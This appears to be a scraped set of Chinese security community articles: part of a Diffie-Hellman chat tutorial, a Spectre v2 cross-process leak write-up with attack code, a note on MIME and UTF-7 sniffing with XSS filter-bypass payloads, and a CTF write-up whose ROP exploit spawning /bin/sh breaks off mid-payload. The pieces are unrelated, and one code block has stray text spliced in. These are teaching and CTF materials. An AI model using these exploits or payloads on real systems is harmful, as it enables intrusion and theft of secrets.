response = self.connection.recv(LEN_PK)
except ConnectionError:
print("Key Exchange with {} failed".format(self.address[0]))
return None
client_key = DH.b2i(response)
然后我们可以将响应数据从字节转化为整数，再与我们自己的私钥和公开素数`p`一起提交给`DH.get_shared_key()`方法：
shared_key = DH.get_shared_key(client_key, a, p)
`get_shared_key()`函数可以计算`(client_key ^ a) %
p`公式，将结果转化为十六进制字符串，然后提交给`sha256`函数，以标准化结果的长度。
def get_shared_key(public, private, p):
"""
Calculate a shared key from a foreign public key, a local private
key, and a shared prime.
:param public: public key as an integer
:param private: private key as an integer
:param p: prime number
:return: shared key as a 256-bit bytes object
"""
s = pow(public, private, p)
s_hex = hex(s)[2:]
# Make the length of s_hex a multiple of 2
if len(s_hex) % 2 != 0:
s_hex = '0' + s_hex
# Convert hex to bytes
s_bytes = binascii.unhexlify(s_hex)
# Hash and return the hex result
return sha256(s_bytes).digest()
现在我们终于生成了一个共享密钥！这个过程非常有趣，当然实际环境会比理论实验更加复杂。接下来我们还需要做些什么呢？
生成共享密钥后，我们才刚完成服务器上客户端的初始化工作。
client = Client(self, connection, address)
...
# Add client to list of clients on server
self.clients.append(client)
...
# Listen for incoming messages from client
threading.Thread(target=self.listen, args=(client, )).start()
服务端会启用新的线程（`self.listen`），接收客户端发过来的加密消息，解压这些消息，然后将消息（再次加密后）广播给服务器上其他所有客户端。
## 四、总结
整个过程大概就是这样，原理及代码已经介绍清楚。后面我们还可以看一下服务器如何处理消息、客户端的工作流程等，感谢大家阅读本文。 | 社区文章 |
# **一、幽灵（Spectre）漏洞介绍**
幽灵是一个存在于分支预测（Branch Prediction）实现中的硬件缺陷及安全漏洞，含有预测执行（Speculative
Execution）功能的现代微处理器均受其影响，该漏洞使得攻击者可以在用户态突破CPU的进程隔离，导致跨进程敏感信息泄露。截至2018年，几乎所有的计算机系统都受到Spectre的影响，包括台式机、笔记本电脑和移动设备。
幽灵是一类潜在漏洞的总和，Spectre Variant 2漏洞编号CVE-2017-5715（Branch Target
Injection分支目标注入），它可以让攻击者训练受害者（victim）进程所在的CPU的分支目标预测器（Branch Target
Predictor）指向特定的代码片段（gadget），使得受害者进程在特定间接跳转处预测失误（mispridict）进入到gadget，在随后的处理器推测执行中执行gadget并将需要探测的信息映射到CPU的某一片缓存区域，最后攻击者通过逐一测量缓存区域内缓存块（Cache
Line）命中时间得到命中位置，进而还原出所探测的信息。
简而言之这个漏洞的问题在于CPU被攻击者误导转不过弯导致正常运行的进程内部的信息暴露给了攻击者。
[视频：利用spectre
v2跨进程泄露敏感信息](https://m.youku.com/video/id_XNDMzNzYyOTM1Mg==.html?x=&sharefrom=android&sharekey=f32ecc8b57aea320b529bfb236b66d034&from=message
"视频：利用spectre v2跨进程泄露敏感信息")
[源代码下载](https://github.com/qiutianshu/spectre.git "源代码下载")
# **二、目标**
* 在受害者进程中找到可以在攻击者和受害者之间建立信息传递的隐蔽通道[3][p9]；
* 在受害者进程中找到可以将敏感信息传递到隐蔽通道的指令片段；
* 攻击者进程训练分支目标预测器，使受害者进程在特定位置的预测执行中执行我们选定的指令片段；
* 攻击者进程不断刷新CPU特定位置的L1、L2、L3 Cache，触发受害者进程在特定位置的预测执行；
* 击者进程利用缓存侧信道攻击手段将隐蔽通道内的状态信息转化为ASCII字节。
# **三、现代CPU提速增效之技术**
为了提高性能，现代处理器使用了一些优化机制提高了指令处理的并发度 ，进而宏观上提升了运行速度。下面简要提一下这些机制有助于理解本文：
## **3.1 乱序执行（Out-of-order Execution）**
为了提高CPU指令执行的并发度，人们发明了多级流水线。但是如果前后两条指令存在依赖，比如数据依赖、控制依赖，那么流水线中的后一条指令就必须等待前一条指令执行完才能执行。为了提升流水线的效率，CPU对不存在依赖的指令进行乱序和调度，减少流水线的停留，提高指令运行的吞吐率。虽然CPU内部是在乱序执行指令，但是对外则是根据指令原来的顺序提交乱序执行结果，所以我们从外部看到的是顺序执行的结果。
## **3.2 预测执行（Speculative Execution）**
处理器在乱序执行的过程中如果遇到条件分支
条件分支：
if(condition){
......
}
或者间接跳转
间接跳转：
call rax、jmp [rax]、ret
下一条执行指令的位置取决于condition的计算结果或者内存访问结果，而由于某些原因例如缓存刷新导致计算延迟或者访存延迟，为了使乱序执行不至于在此处卡住，CPU会根据先前的执行情况做出路径预测并按照预测的路径继续执行下去。当condition被计算出来或者访存结果到达，如果预测执行的路径正确，则结果被提交，如果预测失败（mispridict）则执行回滚，重新按照正确的路径执行。
现代CPU的Speculative Execution可以提前执行数百条指令，这取决于CPU指令缓存的大小。
## **3.3 分支预测（Branch Prediction）**
Speculative
Execution依赖于CPU的分支预测机制，CPU内部会有专门的缓存来记录先前的分支执行情况并为分支预测提供依据。CPU内部会有多种预测器，在遇到分支指令时，每种预测器都会给出预测结果，所有预测结果都会被汇总到一个选择器最终选择出最有可能的路径。换句话说在某个分支处的预测结果是受到该分支以及其他临近分支的历史情况影响的，所以我们后面可以通过训练分支预测器使之预测执行到我们想要的任何代码片段。
## **3.4 计算机存储结构**
CPU访问内存的时间大约为200~300个时钟周期，这种延迟相对于每条指令执行时只需耗费数个时钟周期而言是巨大的。为了加速访存引入了多级缓存技术，在intel处理器里面就是L1
Cache、L2 Cache、L3
Cache。假设CPU首次访问某个数据，那么他会首先花费200多个时钟周期从内存里面取得该数据并将数据依次填满L1、L2、L3，而后再把数据取出来计算；如果CPU第二次访问该数据，那么就只需要花费十几个时钟周期从片上缓存中取得。访问数据时间上的差异就是后面我们缓存侧信道攻击的依据。需要注意的是，预测执行会影响缓存的状态，即使由于预测失败而导致结果回滚，缓存的状态并不会随之回滚而是会保留。
# **四、CPU分支预测器**
## **4.1 分支预测器的两大类**
分支预测器是CPU内部的一个重要组件，它的作用是在指令周期的取指阶段（IF）预测出分支的走向，进而为预测执行提供依据。分支预测器根据作用的指令类型分为两大类：分支预测器（Branch
Predictor）和分支目标预测器（Branch Target
Predictor）。前者作用于条件分支例如if...else...，他的作用是判断是否需要进入到条件分支当中，所以他的输出也就是简单的“进入”（Taken）和“不进入”（Not
Taken）。
分支目标预测器作用于间接跳转一类的指令例如 call rax、jmp [rax]，他的作用是预测出跳转的目标地址，所以他的输出就是虚拟地址。
## **4.2 作用的时机**
取指阶段遇到分支指令时，由于分支条件需要计算或者间接地址的内容不在缓存中（miscache）需要花费数百个时钟周期来计算分支条件或者从内存中取出间接地址的内容，这时CPU就会利用这个时间窗口来预测并执行，最后根据实际计算出的结果来决定到底是提交还是回滚预测执行的结果，并对分支预测器内部的一些参数进行调整。
## **4.3 工作流程**
这里我研究的是Haswell平台的分支目标预测器。Haswell提供了3种预测机制：
* **通用分支预测器（Generic Branch Predictor）**
它使用了分支目标缓存（Branch Target
Buffer）来建立分支指令地址和目标地址之间的映射关系。分支指令地址的低31位用来索引BTB中的项[1][p16]。
以上可以看到，只使用地址的低31位会造成BTB条目的重叠，解决的办法是进行分组，分为N路组相联，这点类似于CPU缓存的组织方式，这里不深入细究。
* **间接分支预测器（Indirect Branch Predictor）**
间接分支预测器是一个两级分支预测器。第一级是一个分支历史缓存（Branch History
Buffer），它是一个58位的移位寄存器，他的作用是记录前29个分支的“源地址——目标地址”信息，这个相当于找到程序控制流的一种模式，按照这种模式可以做到精确匹配。
它的第二级是间接分支目标缓存（Indirect Branch Target Buffer），它类似于前面介绍的BTB，里面是“标记——目标地址”之间的映射。
他的预测过程是：BHB与PC的值做异或运算，而后进入到哈希函数计算出哈希值，根据哈希值进入到IBTB查找目标地址，并根据IBPB中得到的预测位来判断是否应该采取这个预测出来的结果。
分支历史缓存BHB是在动态更新的，当执行一条间接分支指令，例如callq *0xb0(%r8)，它可以被看作：
push rip
jmp *0xb0(%r8)
**BHB的更新过程：**
经过译码、执行，解析出目标地址Target，将BHB左移2位与PC的0~19位和Target的0~5位作“类XOR”运算，而后把运算结果重新填回BHB，这就完成了BHB的一次更新，call这条指令的分支记录也就被加入到了BHB中。
“类XOR”运算说明此算法并不是严格的xor运算，国外通过逆向工程得到了BHB更新算法的代码：
/* ‘bhb_state‘ points to the branch history
* buffer to be updated
* ‘src‘ is the virtual address of the last
* byte of the source instruction
* ‘dst‘ is the virtual destination address
*/
void bhb_update(uint58_t *bhb_state, unsigned long src, unsigned long dst) {
*bhb_state <<= 2;
*bhb_state ˆ= (dst & 0x3f);函数返回地址预测器（Return Predictor ）
*bhb_state ˆ= (src & 0xc0) >> 6;
*bhb_state ˆ= (src & 0xc00) >> (10 - 2);
*bhb_state ˆ= (src & 0xc000) >> (14 - 4);
*bhb_state ˆ= (src & 0x30) << (6 - 4);
*bhb_state ˆ= (src & 0x300) << (8 - 8);
*bhb_state ˆ= (src & 0x3000) >> (12 - 10);
*bhb_state ˆ= (src & 0x30000) >> (16 - 12);
*bhb_state ˆ= (src & 0xc0000) >> (18 - 14);
}
从逆向得到的代码可以看出，BHB首先向左移2位，然后与src的低6位和dst的低20位进行异或运算
BHB总长为58位，每次左移2位，所以能记录总共29次的分支信息。
**BHB如何索引IBTB表项：**
从图2可以看到，首先PC会与BHB作XOR运算，运算结果进入哈希函数计算哈希值，根据哈希值来检索IBTB表项。因为在不同的地址处可能产生相同的BHB，这种情况称之为“混叠”（aliasing）。为了消除混叠，采用Gshare两级预测算法，将BHB与PC异或运算得到全局唯一的模式。
计算索引值的哈希函数则一直没有被Intel公开并且也未被成功逆向。它的意义是将分支模式精确匹配到IBTB的表项，产生预测地址。
**Indirect Branch Predictor Buffer的作用是什么：**
IBPB实际上是一个两位的饱和计数器组成的表，他的作用是记录预测结果被采纳的情况。如果预测正确被成功提交，那么计数器会+1，否则会被-1。如果从IBHB出来的结果对应的计数器值为11或者10，那么这个预测结果会被采纳并传递给流水线进行预测执行，否则不会被采纳。
IBP复杂的执行流程是为了提高预测精度，因为在程序中有许多分支之间存在关联并且有模式可循，如果按照GBP那样只使用一个BTB来做预测那么显然效果会很差，因为它的预测过程是孤立的。
* **函数返回地址预测器（Return Predictor ）**
RP是用来为ret这类返回指令做地址预测的，我这里没有用到因此不做研究。
以上介绍了Haswell平台分支目标预测器的三种预测机制，CPU实际上更加倾向于采纳基于分支历史的预测器的结果[4][p6]，只有当间接分支预测器无法解析的时候才会采纳通用预测器的结果[3][p21]。双峰选择器（Bi-modal selector）判断采纳哪一种机制产生的预测结果并产生最终的预测地址。
根据分支最终实际的执行情况更新BHB、BTB和BPB。
每个CPU核心都有独立的分支目标预测器，CPU核心之间是不存在相互影响的。但即使是开启了超线程，运行在同一个核心上的多个进程之间也会通过分支目标预测器产生相互的影响[2][p8]。预测器工作在虚拟地址层面，他的输入和输出都是虚拟地址，与指令的实际物理地址无关[2][p9]，因此我要在受害者进程中找到一条间接跳转指令，它的虚拟地址为src，在训练进程相同虚拟地址处布置一条jmp指令来模拟受害者在src处的跳转，如下图所示:
训练进程在dst2处跳回src，如此形成一个无限循环。这么做有两点考虑：1.毒化通用分支预测器的BTB，使之在src处指向dst2。2.往BHB中填充大量的规则数据，破坏受害者进程在src之前形成的分支历史，使间接分支预测器失效并强制使用通用分支预测器[3][p29]。
经过训练可以使受害者在src处预测执行gadget。
# **五、基于时间测量的缓存侧信道攻击**
## **5.1 内存页面共享**
为了减少内存的开销，现代操作系统普遍使用共享内存页面技术在不同的进程之间共享相同的页面，例如动态链接库技术。操作系统会在内存中搜索并合并具有相同内容的页面，而这么做的依据是页面对应的数据块在磁盘中的位置[5][p2]。
共享对象只占用一份物理内存页面，它被两个进程分别映射到各自的虚拟地址空间。
操作系统通过写时复制（copy-on-write）技术来保护共享页面。对共享页面的读操作是被允许的，当进程试图修改共享页面时会触发缺页异常（Page-fault），操作系统内存管理模块会将共享页面复制一份后对复制的页面进行修改，并将后者的指针返回给试图修改它的进程。
## **5.2 FLUSH + RELOAD攻击手段**
运行在同一个CPU核心上的不同进程之间可以通过缓存相互产生影响，进而造成进程信息的泄露，而内存页面的共享则为跨进程信息泄露提供了隐蔽通道。FLUSH +
RELOAD是一种缓存侧信道攻击手段，它利用了上述的CPU缺陷可以跨进程碰撞出敏感信息。如上图所示，在两个进程中对addr1～addr2和addr3～addr4这两个内存段进行访问最终是对共享物理页面的访问。
第三节中提到缓存用来加速访存的原理，缓存的加载是以缓存行（64字节）为单位进行的，每一小格代表一个缓存行。FLUSH +
RELOAD的基本思想是首先对共享物理页面进行刷新确保不在缓存中，让进程2访问共享页面，然后进程1再对共享页面逐个缓存行进行扫描，访问时间最短的表示刚刚被进程2访问过。如果进程2中的某个字符可以被映射为共享页面中的位置，访问这个位置的内容。进程1发现这个位置被访问过，并将这个位置还原为字符，由此可以泄露进程2的信息。
ProbeTable:
db 0x10000 dup (0) #定义一个可被探测的数组，大小为256 × 256
secret:
db 'a' # 0x61
xor eax, eax # eax = 0
mov ah, [secret] # ax = 0x6100
mov ebx, ProbeTable[eax] #字符转化为位置并访问
## **5.3 特定位置缓存的刷新与访存时间测量**
在多核CPU中，每个核心都有独立的L1、L2缓存，共享L3缓存，这些缓存可以通过缓存一致协议确保各级缓存的同步。Li是Li+1的一个子集，也就是L2包含了L1中的所有内容，而L3则包含了所有的缓存内容。
x86架构提供了clflush指令，该指令可以在用户态调用，将特定虚拟地址处的缓存行从L1、L2、L3中全部刷新掉。
rdtsc指令的作用是将CPU时钟计数器的值读入到edx:eax中，常用作测量一条指令的执行时间。下面这段代码用于粗略测量访存延迟。地址adrs当做参数被传递进来并保存在ecx寄存器中（13行），第7行从adrs地址处读取4字节到eax中。第4行rdtsc将访存前的CPU时间戳记录下来，低32位放在eax寄存器中，高32位放在edx寄存器中。实际上由于这个时间间隔很短，这里只需要用到eax寄存器，因此在第6行将eax内容暂存到esi中。第9行访存完毕再次记录CPU时间戳，并且将低32位与前面保存在esi中的值相减得到运行的时钟周期数。最后clflush指令将adrs缓存行从各级缓存中刷新以还原到测试之前的状态。mfence和lfence指令避免了乱序执行，确保了指令原有的顺序。
asm __volatile__ (
" mfence\n"
" lfence\n"
" rdtsc\n"
" lfence\n"
" movl %%eax, %%esi \n"
" movl (%1), %%eax\n"
" lfence\n"
" rdtsc\n"
" subl %%esi, %%eax \n"
" clflush 0(%1)\n"
: "=a" (time)
: "c" (adrs)
: "%esi", "%edx");
return (time < THRESHOLD);
# **六、代码实现**
## **6.1 调试环境**
硬件以及操作系统信息供参考：
Architecture: x86_64
CPU op-mode(s): 32-bit, 64-bit
Byte Order: Little Endian
CPU(s): 8
On-line CPU(s) list: 0-7
Thread(s) per core: 2
Core(s) per socket: 4
Socket(s): 1
NUMA node(s): 1
Vendor ID: GenuineIntel
CPU family: 6
Model: 60
Model name: Intel(R) Core(TM) i7-4790 CPU @ 3.60GHz
Stepping: 3
CPU MHz: 800.000
BogoMIPS: 7183.94
Virtualization: VT-x
L1d cache: 32K
L1i cache: 32K
L2 cache: 256K
L3 cache: 8192K
NUMA node0 CPU(s): 0-7
CentOS release 6.9 (Final)
Linux qiutianshu 2.6.32-696.el6.x86_64 #1 SMP Tue Mar 21 19:29:05 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
编译时关掉了位置无关，在makefile文件中要 **加入 -fno-pie选项** 。
代码一共由3部分组成：train.c、attack.c、victim.c。攻击对象victim中保存着一个secret字符串，需要我们通过attack跨进程提取。victim通过套接字与攻击者attack进行简单的通信，victim接收attack发过来的字符串，提取其中的整数并将整数格式化为字符串返回给attack。针对攻击对象的特点对照目标逐一实现。
/*
* victim.c
* 接收字符串，提取整形变量并格式化为字符串后发送返回
*/
char secret[128]={'x'};
...
while(1){
long a;
client_sockfd = accept(server_sockfd, &client_address, (socklen_t*)&client_len);
while(read(client_sockfd, buf, 32)){
sscanf(buf, "%ld\n", &a);
sprintf(send, "%ld\n", a);
write(client_sockfd, send, 16);
}
close(client_sockfd);
}
## **6.2 找到并建立信息传递的通道**
5.2节分析了当使用FLUSH +
RELOAD攻击手段时，两个进程之间需要共享一片内存区域，victim通过预测执行将secret字符映射为共享内存的命中位置，而后attack探测出这个命中位置进而还原出secret。这个区域可以建立在系统的共享库中，这里为了清晰讲解攻击原理，直接在victim的可执行文件的.rodata段插入了一个64Kb的ProbeTable数组（256个ascii字符
× 步长256）。
/*
* victim.c line 14
*/
__attribute__((section(".rodata.transmit"), aligned(0x10000))) const char ProbeTable[0x10000] = {'x'}; //64Kb
使用mmap将正在运行的victim的ProbeTable映射到attack进程：
/*
* attack.c line 49
*/
mm = mmap(NULL, 0x10000, PROT_READ, MAP_SHARED, fd, 0x20000);
## **6.3 找到gadget**
前面5.2节讲到了gadget的作用，首先要在victim中找到一个可以被attack控制的寄存器，分析victim循环部分的汇编可知在调用sprintf之前attack可以控制rdx寄存器，因此可以通过向victim发送secret地址控制rdx指向secret。
400c03: 48 8d 95 78 ff ff ff lea -0x88(%rbp),%rdx ! 变量a的地址
400c0a: 48 89 ce mov %rcx,%rsi ! 格式化字符串"%ld\n"的地址
400c0d: 48 89 c7 mov %rax,%rdi ! buf的地址
400c10: b8 00 00 00 00 mov $0x0,%eax
400c15: e8 f6 fb ff ff callq 400810 <sscanf@plt>
400c1a: 48 8b 95 78 ff ff ff mov -0x88(%rbp),%rdx ! 攻击者传入的整数被装入rdx，并作为sprintf的第三参数
400c21: b9 51 00 41 00 mov $0x410051,%ecx
400c26: 48 8d 45 80 lea -0x80(%rbp),%rax
400c2a: 48 89 ce mov %rcx,%rsi ! send的地址
400c2d: 48 89 c7 mov %rax,%rdi ! 格式化字符串"%ld\n"的地址
400c30: b8 00 00 00 00 mov $0x0,%eax
400c35: e8 c6 fb ff ff callq 400800 <sprintf@plt>
我们可以在动态库中寻找gadget，但这里我直接在victim中编写了gadget，这部分代码在victim中不会得到执行：
/*
* victim.c line 21
*/
__asm__(".text\n.globl gadget\ngadget:\n" //编到.text段，导出gadget符号
"xorl %eax, %eax\n" //清空eax
"movb (%rdx), %ah\n" //rdx可以被攻击者控制
"movl ProbeTable(%eax), %eax\n" //访存
"retq\n");
## **6.4 在victim中找到间接分支**
在程序中调用外部函数时用到了延迟绑定（Lazy Binding）技术，sprintf是glibc中的函数，call
[sprintf@plt](mailto:sprintf@plt)调用0x400800处的代码：
在0x400800处又跳转到0x6303e0所指向的地址，而0x6303e0则是sprintf的got表项，里面存放了sprintf的真实地址。这里可以确定需要毒化的就是0x400800处的间接分支。在evictor进程的作用下，0x6303e0处的缓存行被从缓存中刷新，导致在取得sprintf地址的过程中出现时间窗口。在trainer进程的作用下，预测器在0x400800处给出的预测地址为gadget的地址，因此CPU预测执行gadget将secret的字符信息泄漏到ProbeTable中。
## **6.5 训练间接分支**
每个CPU核心独占一个分支预测器，由于不知道victim会运行在那个CPU上，所以需要在每个核心上运行一个trainer进程。在trainer进程中使用execv函数加载victim，利用ptrace代码注入的手段在sprintf@got（0x6303e0）的位置处填入gadget的地址，再将gadget的第一条指令的机器码改为ret，最后在进程的断点处注入循环代码：
loop:
mov sprintf@plt, rax
call rax
jmp loop
由此每个核心上的trainer在循环调用sprintf函数：
由于在编译时加入了-fno-pie选项，每次加载victim时进程的虚拟地址空间都是不变的，因此trainer可以模拟正在运行的victim进程。当victim执行sprintf函数时，入口处的间接跳转指令被毒化，CPU预测执行gadget完成信息泄露。
## **6.6 驱逐缓存**
预测执行的一个重要条件就是间接分支的目的地址发生缓存刷新导致访存延迟，这里需要fork出一个evictor进程用于不停地刷新sprintf@got造成0x400800处cache
miss进而引发预测执行。
## **6.7 FLUSH + RELOAD过程**
attack向victim循环发送secret的地址0x630480以触发victim执行gadget，然后对ProbeTable以0x100为步长，逐个探测命中情况。一旦某个位置命中次数超过4次便可解析出字符。多次命中的目的是减少偶然性提高解析精度。
# **七、结果**
我分别在英特尔i3 2310m（SandyBridge 2代）、i7 4790（Haswell 4代）、i7 6700HQ（Skylake
6代）三种平台上测试了代码，最终在i7 4790平台上获得了较好的运行效果。
# **八、改进点**
实际的利用至少需要做到以下改进：
* ProbeTable选定在共享对象中例如.so文件中
* gadget也应该在.so中寻找
# **九、参考资料**
[1] Understanding Spectre v2 and How the Vulnerability Impact the Cloud
Security,Gavin-Guo
[2] Spectre Attacks: Exploiting Speculative Execution
[3] Exploiting Branch Target Injection Jann Horn, Google Project Zero
[4] Project Zero Reading privileged memory with a side-channel
[5] FLUSH +RELOAD a High Resolution, Low Noise,L3 Cache Side-Channel Attack
[6] Last-Level Cache Side-Channel Attacks are Practical | 社区文章 |
最近开始看hackerone
101的教学视频，希望从这个教学入手来建立和联系自己的知识树，在看完第二节的web介绍后，对web方向的学习有了大致认识，在此推荐稍微有一点英语水平的同学观看hackerone
101的教学视频(词汇并非很难，一般水准即可理解，结合搜索引擎）
开头分别介绍了web的一些基础知识，http协议，cookies，html，等一些比较基础的web知识，但其中有几点却让我比较感兴趣，本文将着重讨论一下几点。
# 1.MIME sniffing（MIME 嗅探）
产生这个问题的主要原因是，http报文中的content-type头在早期版本的浏览器中(例如IE7/6），浏览器并不光会凭靠content-type头进行不同类型的解析，还会对response内容进行自我解析，例如text/plain将文件内容直接显示，jpeg格式进行jpeg的渲染，例如传输的content-type头格式为 text/plain ，将文件内容直接显示，response中内容为
<script> alert(1); </script>
IE浏览器会将其自动嗅探，并认为是text/html类型，并执行相应的渲染逻辑，这就很容易引发XSS攻击。
攻击者可以将图片文件内容写入xss攻击语句，并上传到共享的网站上，当用户请求该文件时，老旧浏览器收到response进行违背content-type的html解析，从而触发MIME嗅探攻击，我所知的解决方法为资源服务器使用与主网站不同的域名，在同源政策下，阻止跨域请求并解析的行为，从而达到阻止这一类嗅探攻击的目的。
#2.Encoding sniffing （编码嗅探）
产生这一问题的主要原因是UTF-7的存在，以及在没有特别指定格式编码的情况下，浏览器会根据编码格式进行相对应的解码和编码过程。 例如在xss
paylaod中插入UTF-7编码从而达到逃逸过滤的效果。 假如我们的xss payload为<script>alert(1);</script>
但是后台过滤 <符号或者是>符号
我们就可以通过+ADw-script+AD4-alert (1); +ADw-script+AD4-
来通过编码嗅探来绕过过滤。（插一句题外话，其实对于很多的过滤的情况可以尝试各种编码或者反过滤情况来逃脱过滤这一环节）
同时大致介绍一下UTF-7这一编码
UTF-7首次被提出是在一个实验性的通信协议里（RFC 1642，A Mail-Safe Transformation Format of
Unicode），这份RFC（Request for Comments）提案后来因RFC 2152的提出而被取代（RFC
2152本身为新闻型（informational）的文案）。在RFC
2152当中明确的指出该份RFC本身不为互联网的标准做出任何明确的定义（明列于文案前头的Status of this Memo）。尽管这份RFC
2152在IANA（Internet Assigned Numbers
Authority）的字符集列表里被引述为UTF-7，然而UTF-7本身并非Unicode的标准之一，即使在当前最新的Unicode
5.0里也仅列出UTF-8、UTF-16和UTF-32。
如同引言所提到的，由于在过去SMTP的传输仅能接受7比特的字符，而当时Unicode并无法直接满足既有的SMTP传输限制，在这样地背景下UTF-7被提出。严格来说UTF-7不能算是Unicode所定义的字符集之一，较精确的来说，UTF-7是提供了一种将Unicode转换为7比特US-ASCII字符的转换方式。
有些字符本身可以直接以单一的ASCII字符来呈现。第一个组群被称作“direct
characters”，其中包含了62个数字与英文字母，以及包含了九个符号字符：' ( ) , - . / : ?。这些“direct
characters”被认为可以很安全的直接在文件里呈现。另一个主要的组群称作“optional direct
characters”，其中包含了所有可被打印的字符，这些字符在U+0020～U+007E之间，除了~ \ +和空白字符以外。这些“optional
direct
characters”的使用虽可减少空间的使用也可增加人的可阅读性，但却会因为一些不良设计的邮件网关而会产生一些错误，导致必须使用额外的转义字符。
空白字符、Tab字符、以及换行字符一般虽也可直接是为单一的ASCII字符来使用，然而，若是邮件中有使用了编码过的字符串，则必须特别注意这些字符有无被使用在其他地方。而加号字符+的一种编码方式可以是+-。
其他的字符则必须被编码成UTF-16然后转换为修改的Base64。这些区块的开头会以+符号来标示，结尾则以任何不在Base64里定义的字符来标示。若是在Base64区块之后使用-(连字暨减号)标示为结束的话，则解码器会从下个字符继续解码，反之则用此字符当非Base64的区块的开头继续解码。（摘自wiki百科）
上面这么长一段话呢，大概就是UTF-7的来历和编码规则和表达方式，简单来说的话就是UTF-8是将一个无论什么样的字符都统一存放到8位的字节单位里面，而UTF-7则不一样，他将字符分成了两类。
第一类是直接字符，包含了62个数字与英文字符（0-9，a-z，A-Z）以及
' ( ) , - . / : ?。
再将其他的字符分成了选择项直接字符
直接字符直接用ASCII码表示，其他的选项直接字符则编码成UTF-16后再转化成Base64，并且使用了这一字符的区块以+为开始，以任何不在Base64定义的字符为结束。 | 社区文章 |
# 拟态防御型Pwn题做题思路总结
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
感谢前些天D^3CTF的lonely_server出题人，这题很有意思。第一次遇见拟态题是在强网杯，虽然只是简单入门级别的栈溢出，但当时一脸懵逼，完全不了解拟态防御机制。第二次就是D^3CTF的lonely_observer，升级很多，uaf堆题，还需要用到libc，出题人还花很多心思让程序能泄露libc而不报错。总结一下我如何面对两种不同的架构一步步写出一个通用exp。
## 拟态防御
类似于生物界的拟态防御，在网络空间防御领域，在目标对象给定服务功能和性能不变前提下，其内部架构、冗余资源、运行机制、核心算法、异常表现等环境因素，以及可能附着其上的未知漏洞后门或木马病毒等都可以做策略性的时空变化，从而对攻击者呈现出“似是而非”的场景，以此扰乱攻击链的构造和生效过程，使攻击成功的代价倍增。
CMD
在技术上以融合多种主动防御要素为宗旨：以异构性、多样或多元性改变目标系统的相似性、单一性；以动态性、随机性改变目标系统的静态性、确定性；以异构冗余多模裁决机制识别和屏蔽未知缺陷与未明威胁；以高可靠性架构增强目标系统服务功能的柔韧性或弹性；以系统的视在不确定属性防御或拒止针对目标系统的不确定性威胁。
对CTF的pwn来说，题目的功能不变，但运行的环境架构不同（64位和32位），设立检测输出裁决机，保证输入和输出的信息相同，并且两端程序都要保持正常服务。这对需要泄露动态加载库地址、堆地址、程序基址的方法是扼住咽喉的一个防御方式，使得目标系统的安全性大幅度提升。而要突破这种防御机制，也不是没有办法，可以采用逐字节爆破、partial
write等技巧不泄露信息来getshell。
## 2019强网杯 babymimic
_stkof 32位程序
int vul()
{
char v1; // [esp+Ch] [ebp-10Ch]
setbuf(stdin, 0);
setbuf(stdout, 0);
j_memset_ifunc(&v1, 0, 256);
read(0, &v1, 0x300);
return puts(&v1);
}
_ _stkof 64位程序
__int64 vul()
{
char buf; // [rsp+0h] [rbp-110h]
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
j_memset_ifunc(&buf, 0LL, 256LL);
read(0, &buf, 0x300uLL);
return puts(&buf, &buf);
}
都是非常简单的栈溢出，静态编译，任何一个单独程序直接用ropchain一把梭就搞定了，但因为加上了拟态防御机制，事情才变得没那么简单。
思路：
1、仔细观察发现32位和64位溢出的偏移不一样。32位程序溢出偏移是0x110，而64位程序溢出偏移是0x118。中间间隔的8个字节就可以用来处理两种架构的差异了。
2、首先先把一个题目做出来（比如先选择做64位的，先做哪种效率更高没有进行更多实验）。
payload构造如下：
3、在此基础上加入32位payload。因为溢出点正好是在rbp上的8个字节，但又不能修改后面64位的ropchain，因此可以选择调整栈到偏移，再将ropchain写过去。这里我选择ret
0x10c，返回后将栈顶向下移0x10c字节，然后把ropchain布置在那里跳过去。
payload构造如下：
exp
from pwn import *
debug = 0
if debug:
#context.log_level='debug'
cn=process('./_stkof')
#cn=process('./__stkof')
else:
#context.log_level='debug'
cn = remote('49.4.51.149',25391)
s = lambda data :cn.send(str(data))
sa = lambda delim,data :cn.sendafter(str(delim), str(data))
st = lambda delim,data :cn.sendthen(str(delim), str(data))
sl = lambda data :cn.sendline(str(data))
sla = lambda delim,data :cn.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :cn.recv(numb)
rl = lambda :cn.recvline()
ru = lambda delims :cn.recvuntil(delims)
irt = lambda :cn.interactive()
uu32 = lambda data :u32(data.ljust(4, ''))
uu64 = lambda data :u64(data.ljust(8, ''))
p_rax=0x000000000043b97c
from struct import pack
# Padding goes here
p = ''
p += pack('<Q', 0x0000000000405895) # pop rsi ; ret
p += pack('<Q', 0x00000000006a10e0) # @ .data
p += pack('<Q', 0x000000000043b97c) # pop rax ; ret
p += '/bin//sh'
#p+='cat /flag'
p += pack('<Q', 0x000000000046aea1) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x0000000000405895) # pop rsi ; ret
p += pack('<Q', 0x00000000006a10e8) # @ .data + 8
p += pack('<Q', 0x0000000000436ed0) # xor rax, rax ; ret
p += pack('<Q', 0x000000000046aea1) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x00000000004005f6) # pop rdi ; ret
p += pack('<Q', 0x00000000006a10e0) # @ .data
p += pack('<Q', 0x0000000000405895) # pop rsi ; ret
p += pack('<Q', 0x00000000006a10e8) # @ .data + 8
p += pack('<Q', 0x000000000043b9d5) # pop rdx ; ret
p += pack('<Q', 0x00000000006a10e8) # @ .data + 8
p += pack('<Q', 0x0000000000436ed0) # xor rax, rax ; ret
p += pack('<Q', 0x000000000043b97c) # pop rax ; ret
p += p64(59)
p += pack('<Q', 0x0000000000461645) # syscall ; ret
pay64 = p
p_eax=0x080a8af6
p = ''
#p += pack('<I', 0x0806e9cb) # pop edx ; ret
p += pack('<I', 0x080d9060) # @ .data
p += pack('<I', 0x080a8af6) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x08056a85) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806e9cb) # pop edx ; ret
p += pack('<I', 0x080d9064) # @ .data + 4
p += pack('<I', 0x080a8af6) # pop eax ; ret
p += '//sh'
p += pack('<I', 0x08056a85) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806e9cb) # pop edx ; ret
p += pack('<I', 0x080d9068) # @ .data + 8
p += pack('<I', 0x08056040) # xor eax, eax ; ret
p += pack('<I', 0x08056a85) # mov dword ptr [edx], eax ; ret
